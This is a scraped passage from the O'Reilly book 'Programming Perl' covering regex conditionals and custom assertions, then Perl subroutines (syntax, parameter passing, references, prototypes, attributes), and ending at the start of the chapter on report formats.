/[ATGC]+(?(?<=AA)G|C)$/;
This uses a lookbehind assertion as the COND to match a DNA sequence that ends in either AAG, or some other base combination and C.

You can omit the |IFFALSE alternative. If you do, the IFTRUE pattern will be included in the pattern as usual if the COND is true, but if the condition isn't true, the Engine will move on to the next portion of the pattern.

5.10.4. Defining Your Own Assertions

You can't change how Perl's Engine works, but if you're sufficiently warped, you can change how it sees your pattern. Since Perl interprets your pattern similarly to double-quoted strings, you can use the wonder of overloaded string constants to see to it that text sequences of your choosing are automatically translated into other text sequences.

In the example below, we specify two transformations to occur when Perl encounters a pattern. First, we define \tag so that when it appears in a pattern, it's automatically translated to (?:<.*?>), which matches most HTML and XML tags. Second, we "redefine" the \w metasymbol so that it handles only English letters.

We'll define a package called Tagger that hides the overloading from our main program. Once we do that, we'll be able to say:

use Tagger;
$_ = '<I>camel</I>';
print "Tagged camel found" if /\tag\w+\tag/;
Here's Tagger.pm, couched in the form of a Perl module (see Chapter 11, "Modules"):
package Tagger;
use overload;

sub import { overload::constant 'qr' => \&convert }

sub convert {
    my $re = shift;
    $re =~ s/ \\tag  /<.*?>/xg;
    $re =~ s/ \\w    /[A-Za-z]/xg;
    return $re;
}

1;
The Tagger module is handed the pattern immediately before interpolation, so you can bypass the overloading by bypassing interpolation, as follows:
$re = '\tag\w+\tag';   # This string begins with \t, a tab
print if /$re/;        # Matches a tab, followed by an "a"...
If you wanted the interpolated variable to be customized, call the convert function directly:
$re = '\tag\w+\tag';         # This string begins with \t, a tab
$re = Tagger::convert $re;   # expand \tag and \w
print if /$re/;              # $re becomes <.*?>[A-Za-z]+<.*?>
Now if you're still wondering what those sub thingies are there in the Tagger module, you'll find out soon enough because that's what our next chapter is all about.

Previous | Home | Next
5.9. Staying in Control | Book Index | 6. Subroutines
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Subroutines (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 6. Subroutines

Contents:

Syntax
Semantics
Passing References
Prototypes
Subroutine Attributes

Like many languages, Perl provides for user-defined subroutines.[1] These subroutines may be defined anywhere in the main program, loaded in from other files via the do, require, or use keywords, or generated at run time using eval. You can even load them at run time with the mechanism described in the section Section 6.2, "Autoloading" in Chapter 10, "Packages". You can call a subroutine indirectly, using a variable containing either its name or a reference to the routine, or through an object, letting the object determine which subroutine should really be called. You can generate anonymous subroutines, accessible only through references, and if you want, use these to clone new, nearly identical functions via closures, which are covered in the section by that name in Chapter 8, "References".

[1] We'll also call them functions, but functions are the same thing as subroutines in Perl. Sometimes we'll even call them methods, which are defined the same way, but called differently.

6.1. Syntax

To declare a named subroutine without defining it, use one of these forms:

sub NAME
sub NAME PROTO
sub NAME       ATTRS
sub NAME PROTO ATTRS
To declare and define a named subroutine, add a BLOCK:
sub NAME             BLOCK
sub NAME PROTO       BLOCK
sub NAME       ATTRS BLOCK
sub NAME PROTO ATTRS BLOCK
To create an anonymous subroutine or closure, leave out the NAME:
sub                  BLOCK
sub      PROTO       BLOCK
sub            ATTRS BLOCK
sub      PROTO ATTRS BLOCK
PROTO and ATTRS stand for the prototype and attributes, each of which is discussed in its own section later in the chapter. They're not so important--the NAME and the BLOCK are the essential parts, even when they're missing.

For the forms without a NAME, you still have to provide some way of calling the subroutine. So be sure to save the return value since this form of sub declaration is not only compiled at compile time as you would expect, but also produces a run-time return value:

$subref = sub BLOCK;
To import subroutines defined in another module, say:
use MODULE qw(NAME1 NAME2 NAME3...);
To call subroutines directly, say:
NAME(LIST)            # & is optional with parentheses.
NAME LIST             # Parens optional if sub predeclared/imported.
&NAME                 # Exposes current @_ to that subroutine,
                      # (and circumvents prototypes).
To call subroutines indirectly (by name or by reference), use any of these:
&$subref(LIST)        # The & is not optional on indirect call
$subref->(LIST)       # (unless using infix notation).
&$subref              # Exposes current @_ to that subroutine.

The official name of a subroutine includes the & prefix. A subroutine may be called using the prefix, but the & is usually optional, and so are the parentheses if the subroutine has been predeclared. However, the & is not optional when you're just naming the subroutine, such as when it's used as an argument to defined or undef or when you want to generate a reference to a named subroutine by saying $subref = \&name. Nor is the & optional when you want to make an indirect subroutine call using the &$subref() or &{$subref}() constructs. However, the more convenient $subref->() notation does not require it. See Chapter 8, "References" for more about references to subroutines.

Perl doesn't force a particular capitalization style on your subroutine names. However, one loosely held convention is that functions called indirectly by Perl's run-time system (BEGIN, CHECK, INIT, END, AUTOLOAD, DESTROY, and all the functions mentioned in Chapter 14, "Tied Variables") are in all capitals, so you might want to avoid using that style. (But subroutines used for constant values are customarily named with all caps too. That's okay. We hope...)

Previous | Home | Next
5.10. Fancy Patterns | Book Index | 6.2. Semantics
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Semantics (Programming Perl)

 Book Home Programming PerlSearch this book

6.2. Semantics

Before you get too worked up over all that syntax, just remember that the normal way to define a simple subroutine ends up looking like this:

sub razzle {
    print "Ok, you've been razzled.\n";
}
and the normal way to call it is simply:
razzle();
In this case, we ignored inputs (arguments) and outputs (return values). But the Perl model for passing data into and out of a subroutine is really quite simple: all function parameters are passed as one single, flat list of scalars, and multiple return values are likewise returned to the caller as one single, flat list of scalars. As with any LIST, any arrays or hashes passed in these lists will interpolate their values into the flattened list, losing their identities--but there are several ways to get around this, and the automatic list interpolation is frequently quite useful. Both parameter lists and return lists may contain as many or as few scalar elements as you'd like (though you may put constraints on the parameter list by using prototypes). Indeed, Perl is designed around this notion of variadic functions (those taking any number of arguments), unlike C, where they're sort of grudgingly kludged in so that you can call printf(3).

Now, if you're going to design a language around the notion of passing varying numbers of arbitrary arguments, you'd better make it easy to process those arbitrary lists of arguments. Any arguments passed to a Perl routine come in as the array @_. If you call a function with two arguments, they are accessible inside the function as the first two elements of that array: $_[0] and $_[1]. Since @_ is a just a regular array with an irregular name, you can do anything to it you'd normally do to an array.[2] The array @_ is a local array, but its values are aliases to the actual scalar parameters. (This is known as pass-by-reference semantics.) Thus you can modify the actual parameters if you modify the corresponding element of @_. (This is rarely done, however, since it's so easy to return interesting values in Perl.)

[2] This is an area where Perl is more orthogonal than the typical programming language.

The return value of the subroutine (or of any other block, for that matter) is the value of the last expression evaluated. Or you may use an explicit return statement to specify the return value and exit the subroutine from any point in the subroutine. Either way, as the subroutine is called in a scalar or list context, so also is the final expression of the routine evaluated in that same scalar or list context.

6.2.1. Tricks with Parameter Lists

Perl does not yet have named formal parameters, but in practice all you do is copy the values of @_ to a my list, which serves nicely for a list of formal parameters. (Not coincidentally, copying the values changes the pass-by-reference semantics into pass-by-value, which is how people usually expect parameters to work anyway, even if they don't know the fancy computer science terms for it.) Here's a typical example:

sub maysetenv {
    my ($key, $value) = @_;
    $ENV{$key} = $value unless $ENV{$key};
}
But you aren't required to name your parameters, which is the whole point of the @_ array. For example, to calculate a maximum, you can just iterate over @_ directly:
sub max {
    my $max = shift(@_);
    for my $item (@_) {
        $max = $item if $max < $item;
    }
    return $max;
}

$bestday = max($mon,$tue,$wed,$thu,$fri);
Or you can fill an entire hash at once:
sub configuration {
    my %options = @_;
    print "Maximum verbosity.\n" if $options{VERBOSE} == 9;
}

configuration(PASSWORD => "xyzzy", VERBOSE => 9, SCORE => 0);
Here's an example of not naming your formal arguments so that you can modify your actual arguments:
upcase_in($v1, $v2);  # this changes $v1 and $v2
sub upcase_in {
    for (@_) { tr/a-z/A-Z/ }
}
You aren't allowed to modify constants in this way, of course. If an argument were actually a scalar literal like "hobbit" or read-only scalar variable like $1, and you tried to change it, Perl would raise an exception (presumably fatal, possibly career-threatening). For example, this won't work:
upcase_in("frederick");
It would be much safer if the upcase_in function were written to return a copy of its parameters instead of changing them in place:
($v3, $v4) = upcase($v1, $v2);
sub upcase {
    my @parms = @_;
    for (@parms) { tr/a-z/A-Z/ }
    # Check whether we were called in list context.
    return wantarray ? @parms : $parms[0];
}
Notice how this (unprototyped) function doesn't care whether it was passed real scalars or arrays. Perl will smash everything into one big, long, flat @_ parameter list. This is one of the places where Perl's simple argument-passing style shines. The upcase function will work perfectly well without changing the upcase definition even if we feed it things like this:
@newlist = upcase(@list1, @list2);
@newlist = upcase( split /:/, $var );
Do not, however, be tempted to do this:
(@a, @b) = upcase(@list1, @list2);   # WRONG
Why not? Because, like the flat incoming parameter list in @_, the return list is also flat. So this stores everything in @a and empties out @b by storing the null list there. See the later section Section 6.3, "Passing References" for alternatives.

6.2.2. Error Indications

If you want your function to return in such a way that the caller will realize there's been an error, the most natural way to do this in Perl is to use a bare return statement without an argument. That way when the function is used in scalar context, the caller gets undef, and when used in list context, the caller gets a null list.

Under extraordinary circumstances, you might choose to raise an exception to indicate an error. Use this measure sparingly, though; otherwise, your whole program will be littered with exception handlers. For example, failing to open a file in a generic file-opening function is hardly an exceptional event. However, ignoring that failure might well be. The wantarray built-in returns undef if your function was called in void context, so you can tell if you're being ignored:

if ($something_went_awry) {
    return if defined wantarray;  # good, not void context.
    die "Pay attention to my error, you danglesocket!!!\n";
}

6.2.3. Scoping Issues

Subroutines may be called recursively because each call gets its own argument array, even when the routine calls itself. If a subroutine is called using the & form, the argument list is optional. If the & is used but the argument list is omitted, something special happens: the @_ array of the calling routine is supplied implicitly. This is an efficiency mechanism that new users may wish to avoid.

&foo(1,2,3);    # pass three arguments
foo(1,2,3);     # the same

foo();          # pass a null list
&foo();         # the same

&foo;           # foo() gets current args, like foo(@_), but faster!
foo;            # like foo() if sub foo predeclared, else bareword "foo"
Not only does the & form make the argument list optional, but it also disables any prototype checking on the arguments you do provide. This is partly for historical reasons and partly to provide a convenient way to cheat if you know what you're doing. See the section Section 6.4, "Prototypes" later in this chapter.

Variables you access from inside a function that haven't been declared private to that function are not necessarily global variables; they still follow the normal block-scoping rules of Perl. As explained in Section 6.5, "Names" in Chapter 2, "Bits and Pieces", this means they look first in the surrounding lexical scope (or scopes) for resolution, then on to the single package scope. From the viewpoint of a subroutine, then, any my variables from an enclosing lexical scope are still perfectly visible.

For example, the bumpx function below has access to the file-scoped $x lexical variable because the scope where the my was declared--the file itself--hasn't been closed off before the subroutine is defined:

# top of file
my $x = 10;         # declare and initialize variable
sub bumpx { $x++ }  # function can see outer lexical variable

C and C++ programmers would probably think of $x as a "file static" variable. It's private as far as functions in other files are concerned, but global from the perspective of functions declared after the my. C programmers who come to Perl looking for what they would call "static variables" for files or functions find no such keyword in Perl. Perl programmers generally avoid the word "static", because static systems are dead and boring, and because the word is so muddled in historical usage.

Although Perl doesn't include the word "static" in its lexicon, Perl programmers have no problem creating variables that are private to a function and persist across function calls. There's just no special word for these. Perl's richer scoping primitives combine with automatic memory management in ways that someone looking for a "static" keyword might never think of trying.

Lexical variables don't get automatically garbage collected just because their scope has exited; they wait to get recycled until they're no longer used, which is much more important. To create private variables that aren't automatically reset across function calls, enclose the whole function in an extra block and put both the my declaration and the function definition within that block. You can even put more than one function there for shared access to an otherwise private variable:

{
    my $counter = 0;
    sub next_counter { return ++$counter }
    sub prev_counter { return --$counter }
}
As always, access to the lexical variable is limited to code within the same lexical scope. The names of the two functions, on the other hand, are globally accessible (within the package), and, since they were defined inside $counter's scope, they can still access that variable even though no one else can.

If this function is loaded via require or use, then this is probably just fine. If it's all in the main program, you'll need to make sure any run-time assignment to my is executed early enough, either by putting the whole block before your main program, or alternatively, by placing a BEGIN or INIT block around it to make sure it gets executed before your program starts:

BEGIN {
    my @scale = ('A' .. 'G');
    my $note  = -1;
    sub next_pitch { return $scale[ ($note += 1) %= @scale ] };
}
The BEGIN doesn't affect the subroutine definition, nor does it affect the persistence of any lexicals used by the subroutine. It's just there to ensure the variables get initialized before the subroutine is ever called. For more on declaring private and global variables, see my and our respectively in Chapter 29, "Functions". The BEGIN and INIT constructs are explained in Chapter 18, "Compiling".

Previous | Home | Next
6.1. Syntax | Book Index | 6.3. Passing References
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Passing References (Programming Perl)

 Book Home Programming PerlSearch this book

6.3. Passing References

If you want to pass more than one array or hash into or out of a function, and you want them to maintain their integrity, then you'll need to use an explicit pass-by-reference mechanism. Before you do that, you need to understand references as detailed in Chapter 8, "References". This section may not make much sense to you otherwise. But hey, you can always look at the pictures...

Here are a few simple examples. First, let's define a function that expects a reference to an array. When the array is large, it's much faster to pass it in as a single reference than a long list of values:

$total = sum ( \@a );

sub sum {
    my ($aref)  = @_;
    my ($total) = 0;
    foreach (@$aref) { $total += $_ }
    return $total;
}
Let's pass in several arrays to a function and have it pop each of them, returning a new list of all their former last elements:
@tailings = popmany ( \@a, \@b, \@c, \@d );

sub popmany {
    my @retlist = ();
    for my $aref (@_) {
        push @retlist, pop @$aref;
    }
    return @retlist;
}

Here's how you might write a function that does a kind of set intersection by returning a list of keys occurring in all the hashes passed to it:

@common = inter( \%foo, \%bar, \%joe );
sub inter {
    my %seen;
    for my $href (@_) {
        while (my $k = each %$href ) {
            $seen{$k}++;
        }
    }
    return grep { $seen{$_} == @_ } keys %seen;
}
So far, we're just using the normal list return mechanism. What happens if you want to pass or return a hash? Well, if you're only using one of them, or you don't mind them concatenating, then the normal calling convention is okay, although a little expensive.

As we explained earlier, where people get into trouble is here:

(@a, @b) = func(@c, @d);
or here:
(%a, %b) = func(%c, %d);
That syntax simply won't work. It just sets @a or %a and clears @b or %b. Plus the function doesn't get two separate arrays or hashes as arguments: it gets one long list in @_, as always.

You may want to arrange for your functions to use references for both input and output. Here's a function that takes two array references as arguments and returns the two array references ordered by the number of elements they have in them:

($aref, $bref) = func(\@c, \@d);
print "@$aref has more than @$bref\n";
sub func {
    my ($cref, $dref) = @_;
    if (@$cref > @$dref) {
        return ($cref, $dref);
    } else {
        return ($dref, $cref);
    }
}
For passing filehandles or directory handles into or out of functions, see the sections "Filehandle References" and Section 6.2.5, "Symbol Table References" in Chapter 8, "References".

Previous | Home | Next
6.2. Semantics | Book Index | 6.4. Prototypes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Prototypes (Programming Perl)

 Book Home Programming PerlSearch this book

6.4. Prototypes

Perl lets you define your own functions to be called like Perl's built-in functions. Consider push(@array, $item), which must tacitly receive a reference to @array, not just the list values held in @array, so that the array can be modified. Prototypes let you declare subroutines to take arguments just like many of the built-ins, that is, with certain constraints on the number and types of arguments. We call them "prototypes", but they work more like automatic templates for the calling context than like what C or Java programmers would think of as prototypes. With these templates, Perl will automatically add implicit backslashes, or calls to scalar, or whatever else it takes to get things to show up in a way that matches the template. For instance, if you declare:

sub mypush (\@@);
then mypush takes arguments exactly like push does. For this to work, the declaration of the function to be called must be visible at compile time. The prototype only affects the interpretation of function calls when the & character is omitted. In other words, if you call it like a built-in function, it behaves like a built-in function. If you call it like an old-fashioned subroutine, then it behaves like an old-fashioned subroutine. The & suppresses prototype checks and associated contextual effects.

Since prototypes are taken into consideration only at compile time, it naturally falls out that they have no influence on subroutine references like \&foo or on indirect subroutine calls like &{$subref} or $subref->(). Method calls are not influenced by prototypes, either. That's because the actual function to be called is indeterminate at compile time, depending as it does on inheritance, which is dynamically determined in Perl.

Since the intent is primarily to let you define subroutines that work like built-in functions, here are some prototypes you might use to emulate the corresponding built-ins:

Declared as | Called as
sub mylink ($$) | mylink $old, $new
sub myreverse (@) | myreverse $a,$b,$c
sub myjoin ($@) | myjoin ":",$a,$b,$c
sub mypop (\@) | mypop @array
sub mysplice (\@$$@) | mysplice @array,@array,0,@pushme
sub mykeys (\%) | mykeys %{$hashref}
sub mypipe (**) | mypipe READHANDLE, WRITEHANDLE
sub myindex ($$;$) | myindex &getstring, "substr"
 | myindex &getstring, "substr", $start
sub mysyswrite (*$;$$) | mysyswrite OUTF, $buf
 | mysyswrite OUTF, $buf, length($buf)-$off, $off
sub myopen (*;$@) | myopen HANDLE
 | myopen HANDLE, $name
 | myopen HANDLE, "-|", @cmd
sub mygrep (&@) | mygrep { /foo/ } $a,$b,$c
sub myrand ($) | myrand 42
sub mytime () | mytime

Any backslashed prototype character (shown between parentheses in the left column above) represents an actual argument (exemplified in the right column), which absolutely must start with that character. Just as the first argument to keys must start with %, so too must the first argument to mykeys.

A semicolon separates mandatory arguments from optional arguments. (It would be redundant before @ or %, since lists can be null.) Unbackslashed prototype characters have special meanings. Any unbackslashed @ or % eats all the rest of the actual arguments and forces list context. (It's equivalent to LIST in a syntax description.) An argument represented by $ has scalar context forced on it. An & requires a reference to a named or anonymous subroutine.

A * allows the subroutine to accept anything in that slot that would be accepted by a built-in as a filehandle: a bare name, a constant, a scalar expression, a typeglob, or a reference to a typeglob. The value will be available to the subroutine either as a simple scalar or (in the latter two cases) as a reference to the typeglob. If you wish to always convert such arguments to a typeglob reference, use Symbol::qualify_to_ref as follows:

use Symbol 'qualify_to_ref';

sub foo (*) {
    my $fh = qualify_to_ref(shift, caller);
    ...
}
Note how the last three examples in the table are treated specially by the parser. mygrep is parsed as a true list operator, myrand is parsed as a true unary operator with unary precedence the same as rand, and mytime is truly argumentless, just like time.

That is, if you say:

mytime +2;
you'll get mytime() + 2, not mytime(2), which is how it would be parsed without the prototype, or with a unary prototype.

The mygrep example also illustrates how & is treated specially when it is the first argument. Ordinarily, an & prototype would demand an argument like \&foo or sub{}. When it is the first argument, however, you can leave off the sub of your anonymous subroutine, and just pass a bare block in the "indirect object" slot (with no comma after it). So one nifty thing about the & prototype is that you can generate new syntax with it, provided the & is in the initial position:

sub try (&$) {
    my ($try, $catch) = @_;
    eval { &$try };
    if ($@) {
        local $_ = $@;
        &$catch;
    }
}
sub catch (&) { $_[0] }

try {
    die "phooey";
}                   # not the end of the function call!
catch {
    /phooey/ and print "unphooey\n";
};
This prints "unphooey". What happens is that try is called with two arguments, the anonymous function {die "phooey";} and the return value of the catch function, which in this case is nothing but its own argument, the entire block of yet another anonymous function. Within try, the first function argument is called while protected within an eval block to trap anything that blows up. If something does blow up, the second function is called with a local version of the global $_ variable set to the raised exception.[3] If this all sounds like pure gobbledygook, you'll have to read about die and eval in Chapter 29, "Functions", and then go check out anonymous functions and closures in Chapter 8, "References". On the other hand, if it intrigues you, you might check out the Error module on CPAN, which uses this to implement elaborately structured exception handling with try, catch, except, otherwise, and finally clauses.

[3] Yes, there are still unresolved issues having to do with the visibility of @_. We're ignoring that question for the moment. But if we make @_ lexically scoped someday, as already occurs in the experimental threaded versions of Perl, those anonymous subroutines can act like closures.

Here's a reimplementation of the grep operator (the built-in one is more efficient, of course):

sub mygrep (&@) {
    my $coderef = shift;
    my @result;
    foreach $_ (@_) {
        push(@result, $_) if &$coderef;
    }
    return @result;
}
Some folks would prefer to see full alphanumeric prototypes. Alphanumerics have been intentionally left out of prototypes for the express purpose of someday adding named, formal parameters. (Maybe.) The current mechanism's main goal is to let module writers enforce a certain amount of compile-time checking on module users.

6.4.1. Inlining Constant Functions

Functions prototyped with (), meaning that they take no arguments at all, are parsed like the time built-in. More interestingly, the compiler treats such functions as potential candidates for inlining. If the result of that function, after Perl's optimization and constant-folding pass, is either a constant or a lexically scoped scalar with no other references, then that value will be used in place of calls to that function. Calls made using &NAME are never inlined, however, just as they are not subject to any other prototype effects. (See the use constant pragma in Chapter 31, "Pragmatic Modules", for an easy way to declare such constants.)

Both version of these functions to compute [image] will be inlined by the compiler:

sub pi ()           { 3.14159 }             # Not exact, but close
sub PI ()           { 4 * atan2(1, 1) }     # As good as it gets
In fact, all of the following functions are inlined because Perl can determine everything at compile time:
sub FLAG_FOO ()     { 1 << 8 }
sub FLAG_BAR ()     { 1 << 9 }
sub FLAG_MASK ()    { FLAG_FOO | FLAG_BAR }

sub OPT_GLARCH ()   { (0x1B58 & FLAG_MASK) == 0 }
sub GLARCH_VAL ()   {
    if (OPT_GLARCH) { return 23 }
    else            { return 42 }
}

sub N () { int(GLARCH_VAL) / 3 }
BEGIN {                 # compiler runs this block at compile time
    my $prod = 1;       # persistent, private variable
    for (1 .. N) { $prod *= $_ }
    sub NFACT () { $prod }
}
In the last example, the NFACT function is inlined because it has a void prototype and the variable it returns is not changed by that function--and furthermore can't be changed by anyone else, since it's in a lexical scope. So the compiler replaces uses of NFACT with that value, which was precomputed at compile time because of the surrounding BEGIN.

If you redefine a subroutine that was eligible for inlining, you'll get a mandatory warning. (You can use this warning to tell whether the compiler inlined a particular subroutine.) The warning is considered severe enough not to be optional, because previously compiled invocations of the function will still use the old value of the function. If you need to redefine the subroutine, ensure that it isn't inlined either by dropping the () prototype (which changes calling semantics, so beware) or by thwarting the inlining mechanism in some other way, such as:

sub not_inlined () {
    return 23 if $$;
}
See Chapter 18, "Compiling" for more about what happens during the compilation and execution phases of your program's life.

6.4.2. Care with Prototypes

It's probably best to put prototypes on new functions, not retrofit prototypes onto older ones. These are context templates, not ANSI C prototypes, so you must be especially careful about silently imposing a different context. Suppose, for example, you decide that a function should take just one parameter, like this:

sub func ($) {
    my $n = shift;
    print "you gave me $n\n";
}
That makes it a unary operator (like the rand built-in) and changes how the compiler determines the function's arguments. With the new prototype, the function consumes just one, scalar-context argument instead of many arguments in list context. If someone has been calling it with an array or list expression, even if that array or list contained just a single element, where before it worked, now you've got something completely different:
func @foo;                  # counts @foo elements
func split /:/;             # counts number of fields returned
func "a", "b", "c";         # passes "a" only, discards "b" and "c"
func("a", "b", "c");        # suddenly, a compiler error!
You've just supplied an implicit scalar in front of the argument list, which can be more than a bit surprising. The old @foo that used to hold one thing doesn't get passed in. Instead, 1 (the number of elements in @foo) is now passed to func. And the split, being called in scalar context, scribbles all over your @_ parameter list. In the third example, because func has been prototyped as a unary operator, only "a" is passed in; then the return value from func is discarded as the comma operator goes on to evaluate the next two items and return "c." In the final example, the user now gets a syntax error at compile time on code that used to compile and run just fine.

If you're writing new code and would like a unary operator that takes only a scalar variable, not any old scalar expression, you could prototype it to take a scalar reference:

sub func (\$) {
    my $nref = shift;
    print "you gave me $$nref\n";
}
Now the compiler won't let anything by that doesn't start with a dollar sign:
func @foo;              # compiler error, saw @, want $
func split/:/;          # compiler error, saw function, want $
func $s;                # this one is ok -- got real $ symbol
func $a[3];             # and this one
func $h{stuff}[-1];     # or even this
func 2+5;               # scalar expr still a compiler error
func ${ \(2+5) };       # ok, but is the cure worse than the disease?
If you aren't careful, you can get yourself into trouble with prototypes. But if you are careful, you can do a lot of neat things with them. This is all very powerful, of course, and should only be used in moderation to make the world a better place.

Previous | Home | Next
6.3. Passing References | Book Index | 6.5. Subroutine Attributes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Subroutine Attributes (Programming Perl)

 Book Home Programming PerlSearch this book

6.5. Subroutine Attributes

A subroutine declaration or definition may have a list of attributes associated with it. If such an attribute list is present, it is broken up at whitespace or colon boundaries and treated as though a use attributes had been seen. See the use attributes pragma in Chapter 31, "Pragmatic Modules" for internal details. There are three standard attributes for subroutines: locked, method, and lvalue.

6.5.1. The locked and method Attributes

# Only one thread is allowed into this function.
sub afunc : locked { ... }

# Only one thread is allowed into this function on a given object.
sub afunc : locked method { ... }
Setting the locked attribute is meaningful only when the subroutine or method is intended to be called by multiple threads simultaneously. When set on a nonmethod subroutine, Perl ensures that a lock is acquired on the subroutine itself before that subroutine is entered. When set on a method subroutine (that is, one also marked with the method attribute), Perl ensures that any invocation of it implicitly locks its first argument (the object) before execution.

Semantics of this lock are the same as using the lock operator on the subroutine as the first statement in that routine. See Chapter 17, "Threads", for more on locking.

The method attribute can be used by itself:

sub afunc : method { ... }
Currently this has only the effect of marking the subroutine so as not to trigger the "Ambiguous call resolved as CORE::%s" warning. (We may make it mean more someday.)

The attribute system is user-extensible, letting you create your own attribute names. These new attributes must be valid as simple identifier names (without any punctuation other than the "_" character). They may have a parameter list appended, which is currently only checked for whether its parentheses nest properly.

Here are examples of valid syntax (even though the attributes are unknown):

sub fnord (&\%) : switch(10,foo(7,3))  :  expensive;
sub plugh () : Ugly('\(") :Bad;
sub xyzzy : _5x5 { ... }
Here are examples of invalid syntax:
sub fnord : switch(10,foo();  # ()-string not balanced
sub snoid : Ugly('(');        # ()-string not balanced
sub xyzzy : 5x5;              # "5x5" not a valid identifier
sub plugh : Y2::north;        # "Y2::north" not a simple identifier
sub snurt : foo + bar;        # "+" not a colon or space
The attribute list is passed as a list of constant strings to the code that associates them with the subroutine. Exactly how this works (or doesn't) is highly experimental. Check attributes(3) for current details on attribute lists and their manipulation.

6.5.2. The lvalue Attribute

It is possible to return a modifiable scalar value from a subroutine, but only if you declare the subroutine to return an lvalue:

my $val;
sub canmod : lvalue {
    $val;
}
sub nomod {
    $val;
}

canmod() = 5;   # Assigns to $val.
nomod()  = 5;   # ERROR
If you're passing parameters to an lvalued subroutine, you'll usually want parentheses to disambiguate what's being assigned:
canmod $x  = 5;     # assigns 5 to $x first!
canmod 42  = 5;     # can't change a constant; compile-time error
canmod($x) = 5;     # this is ok
canmod(42) = 5;     # and so is this
If you want to be sneaky, you can get around this in the particular case of a subroutine that takes one argument. Declaring the function with a prototype of ($) causes the function to be parsed with the precedence of a named unary operator. Since named unaries have higher precedence than assignment, you no longer need the parentheses. (Whether this is desirable or not is left up to the style police.)

You don't have to be sneaky in the particular case of a subroutine that allows zero arguments (that is, with a () prototype). You can without ambiguity say this:

canmod = 5;
That works because no valid term begins with =. Similarly, lvalued method calls can omit the parentheses when you don't pass any arguments:
$obj->canmod = 5;
We promise not to break those two constructs in future versions of Perl. They're handy when you want to wrap object attributes in method calls (so that they can be inherited like method calls but accessed like variables).

The scalar or list context of both the lvalue subroutine and the righthand side of an assignment to that subroutine is determined as if the subroutine call were replaced by a scalar. For example, consider:

data(2,3) = get_data(3,4);
Both subroutines here are called in scalar context, while in:
(data(2,3)) = get_data(3,4);
and in:
(data(2),data(3)) = get_data(3,4);
all the subroutines are called in list context.

The current implementation does not allow arrays and hashes to be returned from lvalue subroutines directly. You can always return a reference instead.

Previous | Home | Next
6.4. Prototypes | Book Index | 7. Formats
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Formats (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 7. Formats

Contents:

Format Variables
Footers

Perl has a mechanism to help you generate simple reports and charts. To facilitate this, Perl helps you code up your output page close to how it will look when it's printed. It can keep track of things like how many lines are on a page, the current page number, when to print page headers, and so on. Keywords are borrowed from FORTRAN: format to declare and write to execute; see the relevant entries in Chapter 29, "Functions". Fortunately, the layout is much more legible, more like the PRINT USING statement of BASIC. Think of it as a poor man's nroff(1). (If you know nroff, that may not sound like a recommendation.)

Formats, like packages and subroutines, are declared rather than executed, so they may occur at any point in your program. (Usually it's best to rukeep them all together.) They have their own namespace apart from all the other types in Perl. This means that if you have a function named "Foo", it is not the same thing as a format named "Foo". However, the default name for the format associated with a given filehandle is the same as the name of that filehandle. Thus, the default format for STDOUT is named "STDOUT", and the default format for filehandle TEMP is named "TEMP". They just look the same. They aren't.

Output record formats are declared as follows:

format NAME =
FORMLIST
.
If NAME is omitted, format STDOUT is defined. FORMLIST consists of a sequence of lines, each of which may be of one of three types:

  • A comment, indicated by putting a # in the first column.

  • A "picture" line giving the format for one output line.

  • An argument line supplying values to plug into the previous picture line.

Picture lines are printed exactly as they look, except for certain fields that substitute values into the line.[1] Each substitution field in a picture line starts with either @ (at) or ^ (caret). These lines do not undergo any kind of variable interpolation. The @ field (not to be confused with the array marker @) is the normal kind of field; the other kind, the ^ field, is used to do rudimentary multiline text-block filling. The length of the field is supplied by padding out the field with multiple <, >, or | characters to specify, respectively, left justification, right justification, or centering. If the variable exceeds the width specified, it is truncated.

[1] Even those fields maintain the integrity of the columns you put them in, however. There is nothing in a picture line that can cause fields to grow or shrink or shift back and forth. The columns you see are sacred in a WYSIWYG sense--assuming you're using a fixed-width font. Even control characters are assumed to have a width of one.

As an alternate form of right justification, you may also use # characters (after an initial @ or ^) to specify a numeric field. You can insert a . in place of one of the # characters to line up the decimal points. If any value supplied for these fields contains a newline, only the text up to the newline is printed. Finally, the special field @* can be used for printing multiline, nontruncated values; it should generally appear on a picture line by itself.

The values are specified on the following line in the same order as the picture fields. The expressions providing the values should be separated by commas. The expressions are all evaluated in a list context before the line is processed, so a single list expression could produce multiple list elements. The expressions may be spread out to more than one line if enclosed in braces. (If so, the opening brace must be the first token on the first line). This lets you line up the values under their respective format fields for easier reading.

If an expression evaluates to a number with a decimal part, and if the corresponding picture specifies that the decimal part should appear in the output (that is, any picture except multiple # characters without an embedded .), the character used for the decimal point is always determined by the current LC_NUMERIC locale. This means that if, for example, the run-time environment happens to specify a German locale, a comma will be used instead of a period. See the perllocale manpage for more information.

Inside an expression, the whitespace characters \n, \t, and \f are all considered equivalent to a single space. Thus, you could think of this filter as being applied to each value in the format:

$value =~ tr/\n\t\f/ /;
The remaining whitespace character, \r, forces the printing of a new line if the picture line allows it.

Picture fields that begin with ^ rather than @ are treated specially. With a # field, the field is blanked out if the value is undefined. For other field types, the caret enables a kind of fill mode. Instead of an arbitrary expression, the value supplied must be a scalar variable name that contains a text string. Perl puts as much text as it can into the field, and then chops off the front of the string so that the next time the variable is referenced, more of the text can be printed. (Yes, this means that the variable itself is altered during execution of the write call and is not preserved. Use a scratch variable if you want to preserve the original value.) Normally you would use a sequence of fields lined up vertically to print out a block of text. You might wish to end the final field with the text "...", which will appear in the output if the text was too long to appear in its entirety. You can change which characters are legal to "break" on (or after) by changing the variable $: (that's $FORMAT_LINE_BREAK_CHARACTERS if you're using the English module) to a list of the desired characters.

